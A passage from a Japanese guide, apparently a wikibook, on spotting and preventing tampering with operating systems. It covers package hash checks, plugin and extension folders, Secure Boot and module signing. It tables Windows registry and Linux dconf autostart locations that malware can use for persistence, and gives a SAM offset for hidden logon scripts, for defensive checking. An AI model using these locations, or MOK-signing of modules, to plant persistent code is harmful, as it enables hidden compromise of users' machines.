| Perl{{efn|Debian/UbuntuではDebianパッケージ設定システム (debconf) のためにPerlを使用している。}} || || /usr/share/perl*/**  /usr/local/share/perl*/** /usr/lib/*/perl*/** /usr/local/lib/*/perl*/**{{efn|絶対パスは&lt;code&gt;perl -V:installsitearch -V:installsitelib -V:installvendorarch -V:installvendorlib -V:archlib -V:privlib -V:installarchlib -V:installprivlib&lt;/code&gt;で確認可能。}}
|}

=== パッケージ管理ファイルを検証する ===
パッケージ管理システムが管理しているファイルではファイルハッシュが保存されているため簡単にその検証を行うことが可能です:
{| class=&quot;wikitable&quot;
|-
! OS / パッケージシステム !! 検証のみ !! 修復
|-
| Windows || &lt;code&gt;sfc&amp;nbsp;/verifyonly&lt;/code&gt; || &lt;code&gt;sfc&amp;nbsp;/scannow&lt;/code&gt;
|-
| Debパッケージ (Debian / Ubuntu) || &lt;code&gt;debsums -s&lt;/code&gt; || &lt;code&gt;apt install --reinstall $(debsums -cs &amp;verbar; xargs -r dpkg-query -S &amp;verbar; cut -d: -f1 &amp;verbar; sort -u)&lt;/code&gt;
|-
| RPMパッケージ (RedHat / Fedora) || &lt;code&gt;rpm -Va&lt;/code&gt; || 
|}

ただしローカルハッシュが改ざんされている可能性もあるため過信はできません。&lt;!--TODO: ローカルハッシュの検証法--&gt;

自動的にシステムの検証を行うシステムも存在します:
* Android - ブロックデバイスレベルでのハッシュ検証 (dm-verityベース)&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;

&lt;!--
またUbuntuのSnapパッケージでもdm-verityの導入が進められています。

また特定言語のパッケージの検証は以下で可能です:
* PIP (Python): なし
--&gt;

=== システム領域に不審なファイルが追加されていないかを調べる ===
システムの追加ファイルの検知にはパッケージシステムで管理されていないファイルの一覧を返す以下のようなツールが存在します:
* Debian / Ubuntu（Debパッケージ）向け: cruft-ngパッケージ（&lt;code&gt;cruft&lt;/code&gt;コマンド）

上記の&lt;code&gt;cruft&lt;/code&gt;コマンドでは設定ファイルだけ残っているパッケージのファイルも出てきてしまいます。そのため、これが邪魔な時は設定ファイルだけ残っているパッケージを&lt;code&gt;sudo apt purge '~c'&lt;/code&gt;で削除しましょう。

またaptレポジトリに無いインストールされたパッケージは&lt;code&gt;apt list '?obsolete'&lt;/code&gt;で、手動 (manual) でインストールされたパッケージは&lt;code&gt;apt-mark showmanual&lt;/code&gt;で確認できます。これらのコマンドを実行してインストールした覚えないパッケージが入ってないかをチェックしましょう。GUI が使えるのであれば&lt;code&gt;synaptic&lt;/code&gt;を起動して「インストール済（ローカルまたは廃止）」と「インストール済（手動）」を確認するのもオススメです。

=== ユーザー領域に不審なファイルが追加されていないかを調べる ===
ユーザースクリプトの書き換えや追加は検知が難しいです。&lt;!--TODO: 良い方法を書く--&gt;

共有ライブラリやスクリプトによるプラグイン追加も可能となっているため、こちらにも気をつけなければいけません。これには例えば以下があります:
{| class=&quot;wikitable&quot;
|+ 代表的なユーザースクリプトや拡張機能のディレクトリパス
|-
! 種類 !! Windowsのパス !! macOSのパス !! Linuxのパス
|-
| Google Chrome 拡張機能 || %LOCALAPPDATA%\Google\Chrome\User Data\*\Extensions\ || ~/Library/Application Support/Google/Chrome/*/Extensions/ || ~/.config/google-chrome/*/Extensions/
|-
| GIMPプラグイン&lt;ref&gt;[https://gimp.cc/faq/add-gimp-plugins.html How to Install GIMP Plugins - Detailed Guide with Troubleshooting] GIMP.cc&lt;/ref&gt; || %APPDATA%\GIMP\*\plug-ins\ || ~/Library/Application Support/GIMP/*/plug-ins/ || ~/.config/GIMP/*/plug-ins/
|-
| Blenderスクリプト{{efn|起動スクリプト、アドオンを含む。}}&lt;ref&gt;[https://docs.blender.org/manual/ja/dev/advanced/blender_directory_layout.html  Blender&amp;#39;s Directory Layout] Blender Foundation&lt;/ref&gt; || %APPDATA%\Blender Foundation\Blender\*\scripts\ || ~/Library/Application Support/Blender/*/scripts/ || ~/.config/blender/*/scripts/
|-
| Ardourスクリプト&lt;ref&gt;[https://manual.ardour.org/lua-scripting/ The Ardour Manual - Lua Scripting] Ardour&lt;/ref&gt; || %LOCALAPPDATA%\ardour*\scripts\ || ~/Library/Preferences/Ardour*/scripts/ || ~/.config/ardour*/scripts/
|-
| LibreOfficeスクリプト || %APPDATA%\LibreOffice\*\user\Scripts\ || ~/Library/Application Support/LibreOffice/*/user/Scripts/ || ~/.config/libreoffice/*/user/Scripts/
|-
| Visual Studio Code 拡張機能&lt;ref&gt;[https://code.visualstudio.com/docs/configure/extensions/extension-marketplace Extension Marketplace] Microsoft&lt;/ref&gt; || %USERPROFILE%\.vscode\extensions\ || ~/.vscode/extensions/ || ~/.vscode/extensions/
|}

=== 改変・追加されたファイルが危険かを調べる ===
実行ファイルやスクリプトはLinuxでは以下で検出できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs file | grep -i -E ':.*(executable|shared object|relocatable|script)'
/etc/init.d/binfmt-support.dpkg-new:                                                                                                    POSIX shell script, ASCII text executable
/etc/update-motd.d/99-livepatch-kernel-upgrade-required:                                                                                POSIX shell script, ASCII text executable
/usr/lib/chromium-browser/plugins/libpepflashplayer.so:                                                                                 ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=5c421e89a5c062a2106a5a4381dc38e779a22795, stripped
&lt;/syntaxhighlight&gt;

またClamAVを導入していれば以下でマルウェアデータベースとの照合を行うことができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs clamscan
Loading:     3s, ETA:   0s [========================&gt;]    3.63M/3.63M sigs
Compiling:   1s, ETA:   0s [========================&gt;]       41/41 tasks

/etc/apt/apt.conf.d/00trustcdrom: OK
/etc/apt/auth.conf.d/90ubuntu-advantage: OK
/etc/apt/keyrings/google.asc: OK
[...]

----------- SCAN SUMMARY -----------
Known viruses: 3628164
Engine version: 1.5.4
Scanned directories: 125
Scanned files: 1919
Infected files: 0
Total errors: 10
Data scanned: 247.72 MiB
Data read: 281.17 MiB (ratio 0.88:1)
Time: 17.939 sec (0 m 17 s)
Start Date: 2026:10:11 05:41:30
End Date:   2026:10:11 05:41:48
&lt;/syntaxhighlight&gt;

=== 設定データベースを検証する ===
設定データベースは Windows ではレジストリ、Linuxでは GNOME / MATEの 使う [[:en:dconf|dconf]] が存在します。

Windows の設定データベースはレジストリと呼び「レジストリエディタ」 (&lt;code&gt;regedit&lt;/code&gt;) で表示できます。
{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト、コマンド起動、DLL呼び出しが可能なレジストリ
|-
! 規格/アプリケーション !! 各ユーザー !! 全ユーザー
|-
| Windows || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;|RunOnceは一度のみ実行だが再登録することで何回でも実行可能。}} || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;}}
|-
| [[:w:en:Security Account Manager|Security Account Manager]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;*\&lt;wbr&gt;V{{efn|name=&quot;sam&quot;|'HKEY_LOCAL_MACHINE\SAM\SAM\' 以下はレジストリエディタの右クリックの「アクセス許可」で Administrators にアクセス許可を与えないと読めない。なおファイルパスは「C:\Windows\System32\config\SAM」。}}{{efn|Vはバイナリであり、0xCC + (0x60 に指定されたオフセット) からユーザーログオンスクリプトパスを指定する&lt;ref name=&quot;sam-ghost&quot;&gt;Sebastián R. Castro et al. [https://dl.acm.org/doi/pdf/10.1145/3689934.3690839 Ghost in the SAM: Stealthy, Robust, and Privileged Persistence through Invisible Accounts]  ACM 2024年&lt;/ref&gt;。}}
|-
| [[:w:en:Local Security Authority Subsystem Service|Local Security Authority Subsystem Service]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;System\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Notification Packages&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Authentication Packages&lt;ref&gt;[https://attack.mitre.org/detectionstrategies/DET0207/ Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:en:Active Setup|Active Setup]]&lt;ref&gt;[https://www.advancedinstaller.com/application-packaging-training/msi/ebook/active-setup.html Active-Setup Mechanism] Advanced Installer&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/014/ Boot or Logon Autostart Execution: Active Setup] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:Windowsサービス|Windowsサービス]]&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree HKLM\SYSTEM\CurrentControlSet\Services レジストリ ツリー - Windows drivers - Microsoft Learn] Microsoft&lt;/ref&gt; || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;services\&lt;wbr&gt;*
|-
| [[:w:Winlogon|Winlogon]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Shell&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Userinit&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Notify&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/004/ Boot or Logon Autostart Execution: Winlogon Helper DLL] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:cmd.exe|cmd.exe]]&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd cmd - Microsoft Learn] Microsoft&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\REG_EXPAND_SZ || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\&lt;wbr&gt;REG_SZ
|-
| [[Microsoft Edge]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Edge\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://learn.microsoft.com/ja-jp/deployedge/microsoft-edge-policies/extensioninstallforcelist Microsoft Edge ブラウザー ポリシードキュメント ExtensionInstallForcelist - Microsoft Learn] Microsoft&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;|自動的にサイレントインストールする}}
|-
| [[Google Chrome]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Google\&lt;wbr&gt;Chrome\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://chromeenterprise.google/intl/ja_jp/policies/extension-install-forcelist/ ExtensionInstallForcelist: 自動インストールするアプリと拡張機能のリストの設定 - Chrome Enterprise] Google&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;}}
|}

Linux の GNOME / MATE 環境には「[[:w:en:Dconf#dconf database|dconf データベース]]」が存在し、それは&lt;code&gt;dconf dump&lt;/code&gt;（'/'区切り）で表示できます。また dconf データベースにスキーマ（規定値と解説）を被せた gsettings も存在し、こちらは&lt;code&gt;gsettings list-recursively&lt;/code&gt;（dconfと異なり'.'区切り）で表示できます。
{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能なdconf設定
|-
! 規格/アプリケーション !! ユーザー
|-
| GNOME Settings Daemon || /org/gnome/settings-daemon/plugins/media-keys/custom-keybindings/custom*/command
|-
| Marco ([[w:MATE (デスクトップ環境)|MATE]]) || /org/mate/Marco/keybinding-commands/command-*{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/Marco/keybinding-commands/&lt;/code&gt;で、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.Marco.keybinding-commands&lt;/code&gt;で表示可能。}}
|-
| MATE Screensaver || /org/mate/screensaver/embedded-keyboard-command&lt;br&gt;/org/mate/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.screensaver&lt;/code&gt; で表示可能}}
|-
| mate-applets || /org/mate/panel/objects/object-*/prefs/command
|-
| mate-sensors-applet || /org/mate/panel/objects/object-*/prefs/*/high-alarm-command&lt;br&gt;/org/mate/panel/objects/object-*/prefs/*/low-alarm-command
|}
なお MATE Screensaver と同源の GNOME Screensaver にも /org/gnome/desktop/screensaver/embedded-keyboard-command と /org/gnome/desktop/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/gnome/desktop/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.gnome.desktop.screensaver&lt;/code&gt; で表示可能。}} が存在しますが、こちらは既に廃止されており指定しても無視されます&lt;ref&gt;[https://github.com/GNOME/gsettings-desktop-schemas/blob/main/schemas/org.gnome.desktop.screensaver.gschema.xml.in gsettings-desktop-schemas/schemas/org.gnome.desktop.screensaver.gschema.xml.in at main · GNOME/gsettings-desktop-schemas] GNOME Project&lt;/ref&gt;。

=== メディアに不審なファイルが追加されていないかを調べる ===
メディアの自動実行 ([[:w:en:AutoRun|AutoRun]]) ファイルにもマルウェアが紛れてないか注意しましょう。
{| class=&quot;wikitable&quot;
|+ メディアの自動実行ファイル
|-
! Windows !! Linux&lt;br&gt;（Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]）
|-
| *:\[[:w:autorun.inf|autorun.inf]] || /media/*/*/.autorun&lt;br&gt;/media/*/*/autorun&lt;br&gt;/media/*/*/autorun.sh&lt;br&gt;/run/media/*/*/.autorun&lt;br&gt;/run/media/*/*/autorun&lt;br&gt;/run/media/*/*/autorun.sh
|}

== 改変を防ぐ ==
改変を探すのは大変です。なので最初から改変をできないようにすれば管理はとても楽になります。

改ざんを防ぐには「[[:w:en:Chain of trust|信頼の連鎖]]」 (chain of trust) が重要となります。例えばカーネルだけで改ざんを防いでも、ハードウェアのファームウェアが不正であれば不正なカーネルを起動できてしまいます。

=== ファームウェア改ざんを防ぐ ===
ファームウェア改ざんによる「ファームウェアルートキット」を防ぐにはIntel Management Engine (Intel ME)で実装されているIntel BIOS Guardを使う必要があります。&lt;!--TODO: マザーボードによってはBIOSで有効にする必要があります。→最近のマザーボード事情--&gt;

なお2017年の第8世代Intel Coreプロセッサ (Coffee Lake) 以前はme_cleanerによってIntel Management Engineの無効化が可能&lt;ref&gt;[https://github.com/corna/me_cleaner/wiki/me_cleaner-status me_cleaner status] Nicola Corna 2018年&lt;/ref&gt;なため非推奨です。

また2023年のIntel ME 16.1.30.2307未満では悪意あるロゴ画像を設定することによってroot権限からUEFI設定の変更が可能です（[[:w:en:LogoFAIL|LogoFAIL]]の脆弱性）。そのため、古いIntel Management Engineが動作している場合はそのファームウェアをアップデートしましょう。Windowsでは MEUpdateTool.exe / FWUpdLcl.exe を使うことでこのアップデートが可能となっています。一方、Linuxでは一部機種が fwupdmgr 経由での Intel ME ファームウェアアップデートに対応しています。 

Intel MEのバージョンはLinuxでは以下のような感じに調べることができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ cat /sys/class/mei/mei0/fw_ver
0:16.1.32.2473
0:16.1.32.2473
0:16.1.27.2181
&lt;/syntaxhighlight&gt;

=== ブートローダー改ざんを防ぐ ===
ブートローダーは起動に使われるファームウェア (BIOS) から呼ばれ、カーネルを読み込んで起動するために使われるプログラムです。古い BIOS (レガシーBIOS) には起動するブートローダーを検証する仕組みが存在しませんでしたが、新しい UEFI (統一拡張ファームウェアインターフェース) には署名されたブートローダーのみを起動する UEFI Secure Boot が追加され、安全なブートローダーの起動を許可するための「承認済み署名データベース」 (Authorized Signature Database、UEFI db) と、脆弱なブートローダーの起動を防ぐための「禁止署名データベース」 (Forbidden Signature Database、UEFI dbx) が用意されています。

UEFI Secure Boot が有効かどうかは以下で確認できます:
* Windows PowerShell: &lt;code&gt;Confirm-SecureBootUEFI&lt;/code&gt;
* Linux: &lt;code&gt;mokutil --sb-state&lt;/code&gt;

UEFI db と UEFI dbx の内容は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-SecureBootUEFI -Name db -Decoded&lt;/code&gt; / &lt;code&gt;Get-SecureBootUEFI -Name dbx -Decoded&lt;/code&gt;
* Linux:
** mokutil{{efn|Ubuntu Desktop に標準で含まれている。}}: &lt;code&gt;mokutil --db&lt;/code&gt; / &lt;code&gt;mokutil --dbx&lt;/code&gt;
** efitools: &lt;code&gt;efi-readvar -v db&lt;/code&gt; / &lt;code&gt;efi-readvar -v dbx&lt;/code&gt;

ブートローダーの署名情報は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-PfxCertificate&lt;/code&gt;{{efn|&lt;code&gt;Get-AuthenticodeSignature&lt;/code&gt;はカタログ署名が使われる場合があるため非推奨: https://github.com/PowerShell/PowerShell/issues/23820 。}}
* Linux: &lt;code&gt;sbverify --list&lt;/code&gt;

例えば Windows PowerShell では以下のような感じです:
&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
PS C:\WINDOWS\system32&gt; mountvol S: /S; if ($?) { Get-PfxCertificate 'S:\EFI\Microsoft\Boot\bootmgfw.efi'; mountvol S: /D }

Thumbprint                                Subject
----------                                -------
FACDE3D80E99AFCC15E08AC5A69BD22785287F79  CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
&lt;/syntaxhighlight&gt;

また Ubuntu や Debian では署名されたブートローダー (grub-efi-*-signedパッケージ) と非署名のブートローダー (grub-efi-*-unsignedパッケージ) の両方が用意されており、ブートローダーの正体がどれか、また署名されたブートローダーの署名内容を確認するのは以下のような感じとなります:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ dpkg -L grub-efi-amd64-signed | grep -i '\.efi' | xargs md5sum # インストールされている署名されたブートローダーのハッシュを表示（grub*は通常版、gcd*は光学ブートメディア向け、grubnet*はネットブート向け）
2bd267fb12bd3b0fe26a9dfb4290868d  /usr/lib/grub/x86_64-efi-signed/gcdx64.efi.signed
f689e93336a015fa6eb93e1913b13482  /usr/lib/grub/x86_64-efi-signed/grubnetx64.efi.signed
b63c7618fb96d52520b42b8cc7b124f0  /usr/lib/grub/x86_64-efi-signed/grubx64.efi.signed
$ sudo sh -c &quot;md5sum /boot/efi/EFI/BOOT/*&quot; # 現在のbootloaderがどれを使っているかを確認（署名されたgrubを使用）
b63c7618fb96d52520b42b8cc7b124f0  /boot/efi/EFI/BOOT/BOOTX64.EFI
$ sudo sbverify --list /boot/efi/EFI/BOOT/BOOTX64.EFI
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/efi/EFI/BOOT/BOOTX64.EFI
Signature verification OK
&lt;/syntaxhighlight&gt;

なお Linux では grub の代わりに使えるブートローダーとして systemd-boot もあります。systemd-boot の署名版は Debian が systemd-boot-efi-*-signed パッケージとして用意しているようです（Ubuntu未搭載）。
&lt;!--TODO: 
TPM (Trusted Platform Module) チップ
--&gt;

=== カーネル本体の改ざんを防ぐ ===
カーネルはオペレーティングシステム (OS) の下層で動き続けるプログラムです。カーネル本体の実行ファイルもブートローダーと同様に署名が行われており、UEFI Secure Boot が有効であればその検証をブートローダーが行います。Linux では GRUB の UEFI Secure Boot と shim_lock の連携がそれに相当します&lt;ref&gt;[https://www.gnu.org/software/grub/manual/grub/grub.html#UEFI-secure-boot-and-shim GNU GRUB Manual 2.14 - 19.4 UEFI secure boot and shim support] フリーソフトウェア財団&lt;/ref&gt;。

なお Ubuntu には署名されたカーネル (linux-image-*パッケージ) と非署名のカーネル (linux-image-unsigned-*パッケージ) の両方が用意されており、署名されているカーネルは以下のような感じでその署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo sbverify --list /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を確認する
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を検証する
Signature verification OK
&lt;/syntaxhighlight&gt;

=== カーネルモジュールの改ざんを防ぐ ===
カーネルモジュールも署名されており、その検証をカーネルが行っています。Windowsカーネルでは ci.dll (Code Integrityモジュール)が、Linuxカーネルでは CONFIG_MODULE_SIG コンパイルオプションがその検証を行っています。

カーネルによるカーネルモジュールの検証が有効かどうかは以下で確認することができます:
* Linux: &lt;code&gt;grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r)&lt;/code&gt;

カーネルによるカーネルモジュールの検証で読み込みを弾くかどうかは以下で確認することができます:
* Windows: 強制モードか評価モード (監査モード) かを確認する PowerShell スクリプトが Microsoft のサイトに存在します: https://support.microsoft.com/en-us/windows/hardware/drivers/the-windows-driver-policy#is-my-device-in-evaluation-mode-or-enforcement-mode
* Linux: &lt;code&gt;cat /sys/module/module/parameters/sig_enforce&lt;/code&gt;

また Linux では検証で読み込みを弾かない場合でも検証外カーネルモジュールを読み込んだ場合はdmesgに警告が出て '''Tainted kernel''' 扱いとなります&lt;ref&gt;[https://docs.kernel.org/admin-guide/tainted-kernels.html Tainted kernels] Linux Foundation&lt;/ref&gt;。以下はその例です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_MODULE_SIG=y
$ cat /sys/module/module/parameters/sig_enforce # Y=Yes, N=No
N
$ sudo dmesg | grep 'module verification'
[    8.928361] nvidia: module verification failed: signature and/or required key missing - tainting kernel
$ wget http://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/tools/debugging/kernel-chktaint
[...]
$ sudo sh ./kernel-chktaint
Kernel is &quot;tainted&quot; for the following reasons:
 * externally-built ('out-of-tree') module was loaded  (#12)
 * unsigned module was loaded (#13)
Raw taint value as int/string: 12288/'G           OE      '

Tainted modules:
 * nvidia (OE)
 * nvidia_drm (OE)
 * nvidia_modeset (OE)
 * nvidia_uvm (OE)

For a more detailed explanation of the various taint flags see
 Documentation/admin-guide/tainted-kernels.rst in the Linux kernel sources
 or https://kernel.org/doc/html/latest/admin-guide/tainted-kernels.html
&lt;/syntaxhighlight&gt;

また Linux では以下のような感じで個々のモジュールの署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ modinfo /lib/modules/$(uname -r)/kernel/arch/x86/kernel/msr.ko.zst
filename:       /lib/modules/7.0.0-38-generic/kernel/arch/x86/kernel/msr.ko.zst
license:        GPL
description:    x86 generic MSR driver
author:         H. Peter Anvin &lt;hpa@zytor.com&gt;
srcversion:     639B995855A3528050FD532
depends:
intree:         Y
name:           msr
retpoline:      Y
vermagic:       7.0.0-38-generic SMP preempt mod_unload modversions
sig_id:         PKCS#7
signer:         Build time autogenerated kernel key
sig_key:        3B:E7:D3:BF:D3:2E:D9:CA:9C:17:D2:E9:5F:1A:1C:AE:67:D5:82:2F
sig_hashalgo:   sha512
signature:      96:BC:2A:18:6E:4D:D8:E5:28:69:9D:E6:65:89:95:D4:BE:4C:5B:7C:
                4A:23:11:75:F6:FE:63:79:FC:29:9B:F7:EA:24:B6:F1:EF:F3:80:17:
                0B:C0:1E:46:61:29:BB:F9:E0:AC:81:69:85:73:7D:D4:77:82:A8:DB:
[...]
&lt;/syntaxhighlight&gt;

なおセキュアブートの環境において DKMS (Dynamic Kernel Module Support) などによるソースコードからの外部カーネルモジュールの導入には自己署名のためのマシン所有者キー (Machine-Owner Key; MOK) が使われていますが、標準ではその秘密鍵がrootからアクセスできる領域に置かれるため、root権限があればどんな悪意のあるカーネルモジュールにも署名を付けることが可能となってしまいます&lt;ref name=&quot;ubuntu-secure-boot&quot;/&gt;。そのため MOK はなるべく使わないようにしましょう。

Ubuntu ではいくつか外部カーネルモジュールに DKMS 版ではなく署名ビルド版を使用することができます。
{| class=&quot;wikitable&quot;
|+ Ubuntuにおける DKMS 版と署名ビルド版
|-
! 外部カーネルモジュール !! DKMS版のパッケージ名 !! 署名ビルド版のパッケージ名
|-
! NVIDIA Driver
| nvidia-dkms-* || linux-modules-nvidia-*-open-$(uname -r) 及び linux-signatures-nvidia-$(uname -r)
|-
! iwlwifi（Intel無線LANドライバ）
| backport-iwlwifi-dkms || linux-main-modules-iwlwifi-$(uname -r)
|-
! v4l2loopback
| v4l2loopback-dkms || linux-main-modules-v4l2loopback-$(uname -r)
|-
! Intel Vision Driver
| intel-vision-dkms || linux-main-modules-vision-$(uname -r)
|-
! Intel Integrated Image Processing Unit 6 driver
| intel-ipu6-dkms || linux-main-modules-ipu6-$(uname -r)
|-
! Intel Integrated Image Processing Unit 7 driver
| intel-ipu7-dkms || linux-main-modules-ipu7-$(uname -r)
|-
! USBIO drivers
| intel-usbio-dkms || linux-main-modules-usbio-$(uname -r)
|-
! ZFS (Zettabyte File System)
| zfs-dkms || linux-main-modules-zfs-$(uname -r)
|-
! NVIDIA DOCA-OFED
| doca-ofed-*-dkms || linux-main-modules-doca-ofed-$(uname -r)
|-
! Extensible Virtual Display Interface
| evdi-dkms || linux-main-modules-evdi-$(uname -r)
|}

しかしながら一部の外部カーネルモジュールは DKMS 経由でのみ提供されています。

=== システムファイル改ざんを防ぐ ===
システムファイル改ざんを防ぐ良い方法はシステム領域を読み取り専用にすることですが、仮にファイルシステムを読み取り専用のファイルシステム（SquashFSやEROFS）にしたとしても記録する場所がSSDであればブロック単位での上書きが可能となります。

1回だけ書き込めて上書きが不可能な媒体としてはCD-R、DVD-R、DVD+R、BD-Rなどの一部の光学メディアが存在しますが、これらをブートメディアとして使用するのは頻繁なアップデートが難しくなります。

そのほかの手法としては別のコンピュータからシステムファイルを取得する「ネットワークブート」を行うという手法もありますが、これはネットワーク経由でシステムファイルが盗まれる可能性と隣り合わせです。しかしながらプロトコルにUEFI HTTPSを、認証に相互認証のmTLSを用いて、その秘密鍵をTPMで管理してOSから読めなくすることでネットワークブートの安全性は何とか確保できるかもしれません（対応マザーボードは不明）。

一方、Android や ChromeOS ではブロックデバイス単位での改ざん検知 (dm-verify) によってシステムイメージの改ざんを防止しています&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;&lt;ref&gt;[https://research.google/pubs/verified-boot-on-chrome-os-and-how-to-do-it-yourself/ Verified Boot on Chrome OS and How to do it yourself] Google&lt;/ref&gt;。

=== カーネルメモリ改ざんを防ぐ ===
